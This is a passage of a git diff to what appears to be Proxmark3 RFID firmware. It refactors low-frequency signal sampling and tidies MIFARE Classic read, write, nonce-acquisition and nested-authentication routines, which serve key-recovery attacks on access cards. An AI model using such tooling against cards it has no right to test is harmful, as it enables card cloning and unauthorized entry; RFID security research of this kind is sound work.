BigBuf_get_addr(); + } + + // + samples.dec_counter = 0; + samples.sum = 0; + samples.counter = 0; + samples.total_saved = 0; +} + +uint32_t getSampleCounter() { + return samples.total_saved; +} + +void logSampleSimple(uint8_t sample) { + logSample(sample, config.decimation, config.bits_per_sample, config.averaging); +} + +void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { + + if (!data.buffer) return; + + if (bits_per_sample == 0) bits_per_sample = 1; + if (bits_per_sample > 8) bits_per_sample = 8; + if (decimation == 0) decimation = 1; + + // keep track of total gather samples regardless how many was discarded. + samples.counter++; + + if (avg) { + samples.sum += sample; + } + + // check decimation + if (decimation > 1) { + samples.dec_counter++; + + if (samples.dec_counter < decimation) return; + + samples.dec_counter = 0; + } + + // averaging + if (avg && decimation > 1) { + sample = samples.sum / decimation; + samples.sum = 0; + } + + // store the sample + samples.total_saved++; + + if (bits_per_sample == 8) { + + data.buffer[samples.total_saved - 1] = sample; + + // add number of bits. + data.numbits = samples.total_saved << 3; + + } else { + pushBit(&data, sample & 0x80); + if (bits_per_sample > 1) pushBit(&data, sample & 0x40); + if (bits_per_sample > 2) pushBit(&data, sample & 0x20); + if (bits_per_sample > 3) pushBit(&data, sample & 0x10); + if (bits_per_sample > 4) pushBit(&data, sample & 0x08); + if (bits_per_sample > 5) pushBit(&data, sample & 0x04); + if (bits_per_sample > 6) pushBit(&data, sample & 0x02); + } +} + /** * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream * if not already loaded, sets divisor and starts up the antenna. @@ -80,23 +206,26 @@ void pushBit(BitstreamOut *stream, uint8_t bit) { * 0 or 95 ==> 125 kHz * **/ -void LFSetupFPGAForADC(int divisor, bool lf_field) { +void LFSetupFPGAForADC(int divisor, bool reader_field) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); if ((divisor == 1) || (divisor < 0) || (divisor > 255)) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz else if (divisor == 0) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (reader_field ? FPGA_LF_ADC_READER_FIELD : 0)); // Connect the A/D to the peak-detected low-frequency path. SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // 50ms for the resonant antenna to settle. - SpinDelay(50); + if (reader_field) + SpinDelay(50); + // Now set up the SSC to get the ADC samples that are now streaming at us. FpgaSetupSsc(); + // start a 1.5ticks is 1us StartTicks(); } @@ -113,46 +242,39 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { * value that will be used is the average value of the three samples. * @param trigger_threshold - a threshold. The sampling won't commence until this threshold has been reached. Set * to -1 to ignore threshold. - * @param silent - is true, now outputs are made. If false, dbprints the status + * @param verbose - is true, dbprints the status, else no outputs * @return the number of bits occupied by the samples. */ -uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold, bool silent, int bufsize, uint32_t cancel_after) { +uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip) { - uint8_t *dest = BigBuf_get_addr(); - bufsize = (bufsize > 0 && bufsize < BigBuf_max_traceLen()) ? bufsize : BigBuf_max_traceLen(); + initSampleBuffer(&sample_size); - if (bits_per_sample < 1) bits_per_sample = 1; - if (bits_per_sample > 8) bits_per_sample = 8; - - if (decimation < 1) decimation = 1; - - // use a bit stream to handle the output - BitstreamOut data = { dest, 0, 0}; - int sample_counter = 0; - uint8_t sample; - - // if we want to do averaging - uint32_t sample_sum = 0 ; - uint32_t sample_total_numbers = 0; - uint32_t sample_total_saved = 0; uint32_t cancel_counter = 0; - - uint16_t checker = 0; - - while (true) { - if ( checker == 1000 ) { - if (BUTTON_PRESS() || data_available()) + int16_t checked = 0; + + while (!BUTTON_PRESS()) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; break; - else - checker = 0; - } else { - ++checker; + } else { + checked = 0; + } } - + ++checked; + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { +// AT91C_BASE_SSC->SSC_THR = 0x43; + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // Testpoint 8 (TP8) can be used to trigger oscilliscope LED_D_OFF(); @@ -168,56 +290,29 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag } trigger_threshold = 0; - sample_total_numbers++; - if (averaging) - sample_sum += sample; - - // check decimation - if (decimation > 1) { - sample_counter++; - if (sample_counter < decimation) continue; - sample_counter = 0; + if (samples_to_skip > 0) { + samples_to_skip--; + continue; } - // averaging - if (averaging && decimation > 1) { - sample = sample_sum / decimation; - sample_sum = 0; - } + logSample(sample, decimation, bits_per_sample, avg); - // store the sample - sample_total_saved ++; - if (bits_per_sample == 8) { - dest[sample_total_saved - 1] = sample; - - // Get the return value correct - data.numbits = sample_total_saved << 3; - if (sample_total_saved >= bufsize) break; - - } else { - pushBit(&data, sample & 0x80); - if (bits_per_sample > 1) pushBit(&data, sample & 0x40); - if (bits_per_sample > 2) pushBit(&data, sample & 0x20); - if (bits_per_sample > 3) pushBit(&data, sample & 0x10); - if (bits_per_sample > 4) pushBit(&data, sample & 0x08); - if (bits_per_sample > 5) pushBit(&data, sample & 0x04); - if (bits_per_sample > 6) pushBit(&data, sample & 0x02); - - if ((data.numbits >> 3) + 1 >= bufsize) break; - } + if (samples.total_saved >= sample_size) break; } } - if (!silent) { - Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", sample_total_saved, sample_total_numbers, bits_per_sample); - Dbprintf("buffer samples: %02x %02x %02x %02x %02x %02x %02x %02x ...", - dest[0], dest[1], dest[2], dest[3], dest[4], dest[5], dest[6], dest[7]); + if (checked == -1 && verbose) { + Dbprintf("lf sampling aborted"); + } + + if (verbose) { + Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", samples.total_saved, samples.counter, bits_per_sample); } // Ensure that DC offset removal and noise check is performed for any device-side processing - removeSignalOffset(dest, bufsize); - computeSignalProperties(dest, bufsize); + removeSignalOffset(data.buffer, samples.total_saved); + computeSignalProperties(data.buffer, samples.total_saved); return data.numbits; } @@ -226,31 +321,33 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag * This method is typically used by tag-specific readers who just wants to read the samples * the normal way * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_default(int trigger_threshold, bool silent) { - return DoAcquisition(1, 8, 0, trigger_threshold, silent, 0, 0); +uint32_t DoAcquisition_default(int trigger_threshold, bool verbose) { + return DoAcquisition(1, 8, 0, trigger_threshold, verbose, 0, 0, 0); } -uint32_t DoAcquisition_config(bool silent, int sample_size) { +uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size) { return DoAcquisition(config.decimation , config.bits_per_sample , config.averaging , config.trigger_threshold - , silent + , verbose , sample_size - , 0); + , 0 + , config.samples_to_skip); } -uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after) { - return DoAcquisition(1, 8, 0, trigger_threshold, silent, sample_size, cancel_after); +uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after) { + return DoAcquisition(1, 8, 0, trigger_threshold, verbose, sample_size, cancel_after, 0); } -uint32_t ReadLF(bool activeField, bool silent, int sample_size) { - if (!silent) +uint32_t ReadLF(bool reader_field, bool verbose, uint32_t sample_size) { + if (verbose) printConfig(); - LFSetupFPGAForADC(config.divisor, activeField); - uint32_t ret = DoAcquisition_config(silent, sample_size); + + LFSetupFPGAForADC(config.divisor, reader_field); + uint32_t ret = DoAcquisition_config(verbose, sample_size); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return ret; } @@ -259,9 +356,9 @@ uint32_t ReadLF(bool activeField, bool silent, int sample_size) { * Initializes the FPGA for reader-mode (field on), and acquires the samples. * @return number of bits sampled **/ -uint32_t SampleLF(bool silent, int sample_size) { +uint32_t SampleLF(bool verbose, uint32_t sample_size) { BigBuf_Clear_ext(false); - return ReadLF(true, silent, sample_size); + return ReadLF(true, verbose, sample_size); } /** * Initializes the FPGA for sniffer-mode (field off), and acquires the samples. @@ -288,16 +385,16 @@ void doT55x7Acquisition(size_t sample_size) { if (bufsize > sample_size) bufsize = sample_size; - uint8_t curSample, lastSample = 0; + uint8_t lastSample = 0; uint16_t i = 0, skipCnt = 0; bool startFound = false; bool highFound = false; bool lowFound = false; - + uint16_t checker = 0; - - while ( skipCnt < 1000 && (i < bufsize)) { - if ( checker == 1000 ) { + + while (skipCnt < 1000 && (i < bufsize)) { + if (checker == 1000) { if (BUTTON_PRESS() || data_available()) break; else @@ -308,24 +405,24 @@ void doT55x7Acquisition(size_t sample_size) { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - curSample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; LED_D_OFF(); // skip until the first high sample above threshold - if (!startFound && curSample > T55xx_READ_UPPER_THRESHOLD) { - //if (curSample > lastSample) - // lastSample = curSample; + if (!startFound && sample > T55xx_READ_UPPER_THRESHOLD) { highFound = true; } else if (!highFound) { skipCnt++; continue; } // skip until the first low sample below threshold - if (!startFound && curSample < T55xx_READ_LOWER_THRESHOLD) { - //if (curSample > lastSample) - lastSample = curSample; + if (!startFound && sample < T55xx_READ_LOWER_THRESHOLD) { + lastSample = sample; lowFound = true; } else if (!lowFound) { skipCnt++; @@ -333,14 +430,14 @@ void doT55x7Acquisition(size_t sample_size) { } // skip until first high samples begin to change - if (startFound || curSample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { + if (startFound || sample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { // if just found start - recover last sample if (!startFound) { dest[i++] = lastSample; startFound = true; } // collect samples - dest[i++] = curSample; + dest[i++] = sample; } } } @@ -352,8 +449,8 @@ void doT55x7Acquisition(size_t sample_size) { #define COTAG_T1 384 #define COTAG_T2 (COTAG_T1>>1) -#define COTAG_ONE_THRESHOLD 128+30 -#define COTAG_ZERO_THRESHOLD 128-30 +#define COTAG_ONE_THRESHOLD 128+10 +#define COTAG_ZERO_THRESHOLD 128-10 #ifndef COTAG_BITS #define COTAG_BITS 264 #endif @@ -366,14 +463,14 @@ void doCotagAcquisition(size_t sample_size) { bufsize = sample_size; dest[0] = 0; - uint8_t sample, firsthigh = 0, firstlow = 0; + uint8_t firsthigh = 0, firstlow = 0; uint16_t i = 0; uint16_t noise_counter = 0; uint16_t checker = 0; - + while ((i < bufsize) && (noise_counter < (COTAG_T1 << 1))) { - if ( checker == 1000 ) { + if (checker == 1000) { if (BUTTON_PRESS() || data_available()) break; else @@ -384,8 +481,12 @@ void doCotagAcquisition(size_t sample_size) { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // find first peak if (!firsthigh) { @@ -415,6 +516,10 @@ void doCotagAcquisition(size_t sample_size) { dest[i] = dest[i - 1]; } } + + // Ensure that DC offset removal and noise check is performed for any device-side processing + removeSignalOffset(dest, bufsize); + computeSignalProperties(dest, bufsize); } uint32_t doCotagAcquisitionManchester() { @@ -426,14 +531,14 @@ uint32_t doCotagAcquisitionManchester() { bufsize = COTAG_BITS; dest[0] = 0; - uint8_t sample, firsthigh = 0, firstlow = 0; + uint8_t firsthigh = 0, firstlow = 0; uint16_t sample_counter = 0, period = 0; uint8_t curr = 0, prev = 0; uint16_t noise_counter = 0; uint16_t checker = 0; - + while ((sample_counter < bufsize) && (noise_counter < (COTAG_T1 << 1))) { - if ( checker == 1000 ) { + if (checker == 1000) { if (BUTTON_PRESS() || data_available()) break; else @@ -444,8 +549,12 @@ uint32_t doCotagAcquisitionManchester() { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // find first peak if (!firsthigh) { diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index e3c7a0b4d..570dc20fe 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -1,14 +1,21 @@ #ifndef __LFSAMPLING_H #define __LFSAMPLING_H -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" -#include "usb_cdc.h" // for usb_poll_validate_length -#include "ticks.h" // for StartTicks +#include "common.h" +#include "pm3_cmd.h" -typedef struct BitstreamOut BitstreamOut; +typedef struct { + uint8_t *buffer; + uint32_t numbits; + uint32_t position; +} BitstreamOut; + +typedef struct { + int dec_counter; + uint32_t sum; + uint32_t counter; + uint32_t total_saved; +} sampling_t; /** * acquisition of Cotag LF signal. Similar to other LF, since the Cotag has such long datarate RF/384 @@ -27,7 +34,7 @@ void doT55x7Acquisition(size_t sample_size); * Initializes the FPGA for reader-mode (field on), and acquires the samples. * @return number of bits sampled **/ -uint32_t SampleLF(bool silent, int sample_size); +uint32_t SampleLF(bool verbose, uint32_t sample_size); /** * Initializes the FPGA for sniff-mode (field off), and acquires the samples. @@ -35,26 +42,38 @@ uint32_t SampleLF(bool silent, int sample_size); **/ uint32_t SniffLF(); +uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip); + // adds sample size to default options -uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after); +uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after); /** * @brief Does sample acquisition, ignoring the config values set in the sample_config. * This method is typically used by tag-specific readers who just wants to read the samples * the normal way * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_default(int trigger_threshold, bool silent); +uint32_t DoAcquisition_default(int trigger_threshold, bool verbose); /** * @brief Does sample acquisition, using the config values set in the sample_config. * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_config(bool silent, int sample_size); +uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size); + +/** + * Refactoring of lf sampling buffer + */ +void initSampleBuffer(uint32_t *sample_size); +void initSampleBufferEx(uint32_t *sample_size, bool use_malloc); +void logSampleSimple(uint8_t sample); +void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg); +uint32_t getSampleCounter(); /** * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream @@ -82,5 +101,4 @@ sample_config *getSamplingConfig(); void printConfig(); - #endif // __LFSAMPLING_H diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 26b6583fc..a8f829144 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -14,7 +14,26 @@ //----------------------------------------------------------------------------- #include "mifarecmd.h" -#include + +#include "pmflash.h" +#include "proxmark3_arm.h" +#include "string.h" +#include "mifareutil.h" +#include "protocols.h" +#include "parity.h" +#include "BigBuf.h" +#include "cmd.h" +#include "flashmem.h" +#include "fpgaloader.h" +#include "iso14443a.h" +#include "mifaredesfire.h" +#include "util.h" +#include "commonutil.h" +#include "crc16.h" +#include "dbprint.h" +#include "ticks.h" +#include "usb_cdc.h" // usb_poll_validate_length +#include "spiffs.h" // spiffs #ifndef HARDNESTED_AUTHENTICATION_TIMEOUT # define HARDNESTED_AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) @@ -63,22 +82,22 @@ void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain) { while (true) { if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); break; }; if (mifare_classic_auth(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { - if (DBGLEVEL >= 1) Dbprintf("Auth error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Auth error"); break; }; if (mifare_classic_readblock(pcs, cuid, blockNo, dataoutbuf)) { - if (DBGLEVEL >= 1) Dbprintf("Read block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Read block error"); break; }; if (mifare_classic_halt(pcs, cuid)) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); break; }; @@ -86,12 +105,12 @@ void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain) { break; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); if (DBGLEVEL >= 2) DbpString("READ BLOCK FINISHED"); LED_B_ON(); - reply_ng(CMD_MIFARE_READBL, status, dataoutbuf, 16); + reply_ng(CMD_HF_MIFARE_READBL, status, dataoutbuf, 16); LED_B_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); @@ -224,30 +243,30 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t *datain) { isOK = 1; if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { isOK = 0; - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); } if (isOK && mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { isOK = 0; - if (DBGLEVEL >= 1) Dbprintf("Auth error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Auth error"); } for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) { if (mifare_classic_readblock(pcs, cuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf + 16 * blockNo)) { isOK = 0; - if (DBGLEVEL >= 1) Dbprintf("Read sector %2d block %2d error", sectorNo, blockNo); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Read sector %2d block %2d error", sectorNo, blockNo); break; } } if (mifare_classic_halt(pcs, cuid)) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); } if (DBGLEVEL >= 2) DbpString("READ SECTOR FINISHED"); - crypto1_destroy(pcs); + crypto1_deinit(pcs); LED_B_ON(); reply_old(CMD_ACK, isOK, 0, 0, dataoutbuf, 16 * NumBlocksPerSector(sectorNo)); @@ -390,22 +409,22 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) { while (true) { if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); break; }; if (mifare_classic_auth(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { - if (DBGLEVEL >= 1) Dbprintf("Auth error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Auth error"); break; }; if (mifare_classic_writeblock(pcs, cuid, blockNo, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); break; }; if (mifare_classic_halt(pcs, cuid)) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); break; }; @@ -413,7 +432,7 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) { break; } - crypto1_destroy(pcs); + crypto1_deinit(pcs); if (DBGLEVEL >= 2) DbpString("WRITE BLOCK FINISHED"); @@ -441,18 +460,18 @@ void MifareUWriteBlockCompat(uint8_t arg0, uint8_t *datain) iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); if(!iso14443a_select_card(uid, NULL, NULL, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; }; if(mifare_ultra_writeblock_compat(blockNo, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); OnError(0); return; }; if(mifare_ultra_halt()) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); OnError(0); return; }; @@ -487,7 +506,7 @@ void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) { set_tracing(true); if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; }; @@ -515,13 +534,13 @@ void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) { } if (mifare_ultra_writeblock(blockNo, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); OnError(0); return; }; if (mifare_ultra_halt()) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); OnError(0); return; }; @@ -550,7 +569,7 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain) { set_tracing(true); if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("Can't select card"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; }; @@ -560,7 +579,7 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain) { blockdata[2] = pwd[5]; blockdata[3] = pwd[4]; if (mifare_ultra_writeblock(44, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); OnError(44); return; }; @@ -570,7 +589,7 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain) { blockdata[2] = pwd[1]; blockdata[3] = pwd[0]; if (mifare_ultra_writeblock(45, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); OnError(45); return; }; @@ -580,7 +599,7 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain) { blockdata[2] = pwd[13]; blockdata[3] = pwd[12]; if (mifare_ultra_writeblock(46, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); OnError(46); return; }; @@ -590,13 +609,13 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain) { blockdata[2] = pwd[9]; blockdata[3] = pwd[8]; if (mifare_ultra_writeblock(47, blockdata)) { - if (DBGLEVEL >= 1) Dbprintf("Write block error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Write block error"); OnError(47); return; }; if (mifare_ultra_halt()) { - if (DBGLEVEL >= 1) Dbprintf("Halt error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); OnError(0); return; }; @@ -655,7 +674,7 @@ void MifareAcquireNonces(uint32_t arg0, uint32_t flags) { if (!have_uid) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (ALL)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("AcquireNonces: Can't select card (ALL)"); continue; } switch (card_info.uidlen) { @@ -674,7 +693,7 @@ void MifareAcquireNonces(uint32_t arg0, uint32_t flags) { have_uid = true; } else { // no need for anticollision. We can directly select the card if (!iso14443a_fast_select_card(uid, cascade_levels)) { - if (DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (UID)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("AcquireNonces: Can't select card (UID)"); continue; } } @@ -773,7 +792,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, if (!have_uid) { // need a full select cycle to get the uid first iso14a_card_select_t card_info; if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { - if (DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (ALL)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("AcquireNonces: Can't select card (ALL)"); continue; } switch (card_info.uidlen) { @@ -792,7 +811,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, have_uid = true; } else { // no need for anticollision. We can directly select the card if (!iso14443a_fast_select_card(uid, cascade_levels)) { - if (DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (UID)"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("AcquireNonces: Can't select card (UID)"); continue; } } @@ -802,7 +821,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint32_t nt1; if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { - if (DBGLEVEL >= 1) Dbprintf("AcquireNonces: Auth1 error"); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("AcquireNonces: Auth1 error"); continue; } @@ -813,7 +832,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, CHK_TIMEOUT(); if (len != 4) { - if (DBGLEVEL >= 1) Dbprintf("AcquireNonces: Auth2 error len=%d", len); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("AcquireNonces: Auth2 error len=%d", len); continue; } @@ -830,7 +849,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, } LED_C_OFF(); - crypto1_destroy(pcs); + crypto1_deinit(pcs); LED_B_ON(); reply_old(CMD_ACK, isOK, cuid, num_nonces, buf, sizeof(buf)); LED_B_OFF(); @@ -849,26 +868,20 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, // MIFARE nested authentication. // //----------------------------------------------------------------------------- -void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { - // params - uint8_t blockNo = arg0 & 0xff; - uint8_t keyType = (arg0 >> 8) & 0xff; - uint8_t targetBlockNo = arg1 & 0xff; - uint8_t targetKeyType = (arg1 >> 8) & 0xff; - // calibrate = arg2 +void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key) { uint64_t ui64Key = 0; - - ui64Key = bytes_to_num(datain, 6); + ui64Key = bytes_to_num(key, 6); // variables uint16_t i, j, len; static uint16_t dmin, dmax; + + uint8_t par[1] = {0x00}; + uint8_t par_array[4] = {0x00}; uint8_t uid[10] = {0x00}; uint32_t cuid = 0, nt1, nt2, nttest, ks1; - uint8_t par[1] = {0x00}; uint32_t target_nt[2] = {0x00}, target_ks[2] = {0x00}; - uint8_t par_array[4] = {0x00}; uint16_t ncount = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; @@ -886,17 +899,19 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) BigBuf_free(); BigBuf_Clear_ext(false); - if (arg2) clear_trace(); + if (calibrate) + clear_trace(); + set_tracing(true); // statistics on nonce distance int16_t isOK = 0; #define NESTED_MAX_TRIES 12 - if (arg2) { // calibrate: for first call only. Otherwise reuse previous calibration + if (calibrate) { // calibrate: for first call only. Otherwise reuse previous calibration LED_B_ON(); WDT_HIT(); - uint16_t unsuccessfull_tries = 0; + uint16_t unsuccessful_tries = 0; uint16_t davg = 0; dmax = 0; dmin = 2000; @@ -905,38 +920,44 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) for (rtr = 0; rtr < 17; rtr++) { // Test if the action was cancelled - if (BUTTON_PRESS()) { + if (BUTTON_PRESS() || data_available()) { isOK = -2; break; } // prepare next select. No need to power down the card. if (mifare_classic_halt(pcs, cuid)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Halt error"); + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); rtr--; continue; } if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { - if (DBGLEVEL >= 2) Dbprintf("Nested: Can't select card"); + if (DBGLEVEL >= DBG_INFO) 